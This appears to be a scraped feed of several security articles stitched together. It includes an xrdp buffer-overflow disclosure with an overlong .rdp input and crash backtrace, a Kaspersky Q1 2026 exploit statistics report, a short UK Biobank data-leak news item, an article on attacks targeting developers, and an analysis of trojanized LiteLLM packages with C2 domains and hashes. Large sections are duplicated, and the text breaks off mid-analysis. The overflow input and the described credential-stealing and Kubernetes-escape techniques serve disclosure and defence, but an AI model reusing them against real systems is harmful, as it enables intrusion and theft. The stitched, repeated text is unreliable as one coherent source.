alternate full address:s:172.22.118.7 full address:s:172.22.118.7 domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0 username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt #0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44 #1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78 #2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89 #3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26 #4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79 #5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156 #6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26 #7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24 #8 0x000063654a2e5ad5 in ?? () #9 0x4141414141414141 in ?? () #10 0x00007adb00000a00 in ?? () #11 0x0000000000050004 in ?? () #12 0x00007fff91732220 in ?? () #13 0x000000000000030a in ?? () #14 0xfffffffffffffff8 in ?? () #15 0x000000052dc71740 in ?? () #16 0x3030305f70647278 in ?? () #17 0x616d5f6130333030 in ?? () #18 0x00636e79735f6e69 in ?? () #19 0x0000000000000000 in ?? ()
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.
In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.
This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.
We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.
Total published vulnerabilities per month from 2022 through 2026 (download)
Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.
Total critical vulnerabilities published per month from 2022 through 2026 (download)
The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.
This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.
In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:
Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:
These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.
Below is the trend of exploit detections on user Windows systems starting from Q1 2025.
Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.
On Linux devices, exploits for the following vulnerabilities were detected most frequently:
Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)
In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.
The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.
Distribution of published exploits by platform, Q1 2026 (download)
We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.
TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)
In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.
In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.
The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.
TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)
Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:
The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.
This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.
At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.
It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.
CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.
This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.
This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.
LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.
CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.
We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.
To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.
What are the next steps for security leaders in this new age of frontier AI? We answer the top 10 questions customers are asking.
The post Frontier AI and the Future of Defense: Your Top Questions Answered appeared first on Unit 42.
Technology minister tells Commons ‘de-identified’ information from UK Biobank advertised for sale on Alibaba
The confidential health records of half a million British volunteers have been offered for sale on Chinese website Alibaba, the UK government has confirmed.
The “de-identified” data, belonging to participants in the UK Biobank project, was found for sale on three separate listings last week. Ian Murray, the technology minister, told the Commons on Thursday that, after working with the Chinese government and Alibaba, the records had now been removed. It is not believed any sales were made.
Continue reading...
© Photograph: Dave Guttridge/UK Biobank/PA
© Photograph: Dave Guttridge/UK Biobank/PA
© Photograph: Dave Guttridge/UK Biobank/PA
Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.
For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.
Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.
In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.
Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.
One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.
Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.
Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.
That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.
Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.
To minimize the risk of a breach, companies should lean into the following best practices:
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
URLs
models[.]litellm[.]cloud
checkmarx[.]zone
Infected packages
85ED77A21B88CAE721F369FA6B7BBBA3
2E3A4412A7A487B32C5715167C755D08
0FCCC8E3A03896F45726203074AE225D
Scripts
F5560871F6002982A6A2CC0B3EE739F7
CDE4951BEE7E28AC8A29D33D34A41AE5
05BACBE163EF0393C2416CBD05E45E74
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
